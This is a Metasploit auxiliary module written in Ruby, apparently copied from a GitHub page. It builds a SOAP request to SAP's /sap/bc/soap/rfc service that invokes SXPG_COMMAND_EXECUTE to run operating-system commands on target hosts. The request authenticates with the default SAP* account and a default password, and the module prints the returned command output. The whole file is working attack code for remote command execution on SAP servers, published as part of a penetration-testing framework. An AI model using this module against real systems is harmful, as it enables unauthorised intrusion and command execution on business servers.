/
sap_soap_rfc_sxpg_command_exec.rb
123 lines (119 loc) · 4.8 KB
/
sap_soap_rfc_sxpg_command_exec.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE',
'Description' => %q{
This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call, through
the use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured
in the SM69 transaction.
},
'References' =>
[
[ 'URL', 'https://labs.f-secure.com/tools/sap-metasploit-modules/' ]
],
'Author' =>
[
'Agnivesh Sathasivam',
'nmonkee'
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8000),
OptString.new('CLIENT', [true, 'SAP Client', '001']),
OptString.new('HttpUsername', [true, 'Username', 'SAP*']),
OptString.new('HttpPassword', [true, 'Password', '06071992']),
OptString.new('CMD', [true, 'SM69 command to be executed', 'PING']),
OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]),
OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']])
])
end
def run_host(ip)
os = datastore['OS']
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
if datastore['PARAM']
data << '<ADDITIONAL_PARAMETERS>' + datastore['PARAM'] + ' </ADDITIONAL_PARAMETERS>'
else
data << '<ADDITIONAL_PARAMETERS> </ADDITIONAL_PARAMETERS>'
end
data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>'
data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>'
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>'
data << '</n1:SXPG_COMMAND_EXECUTE>'
data << '</env:Body>'
data << '</env:Envelope>'
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request")
begin
res = send_request_cgi({
'uri' => '/sap/bc/soap/rfc',
'method' => 'POST',
'data' => data,
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{datastore['CLIENT']}",
'ctype' => 'text/xml; charset=UTF-8',
'encode_params' => false,
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'headers' =>{
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},
'vars_get' => {
'sap-client' => datastore['CLIENT'],
'sap-language' => 'EN'
}
})
if res and res.code != 500 and res.code != 200
# to do - implement error handlers for each status code, 404, 301, etc.
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
return
elsif res and res.body =~ /faultstring/
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
0.upto(error.length-1) do |i|
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
end
return
elsif res
print_status("[SAP] #{ip}:#{rport} - got response")
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] SXPG_COMMAND_EXECUTE ",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>["Output",]
)
output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
for i in 0..output.length-1
saptbl << [output[i]]
end
print(saptbl.to_s)
return
else
print_error("[SAP] #{ip}:#{rport} - Unknown error")
return
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
return
end
end
end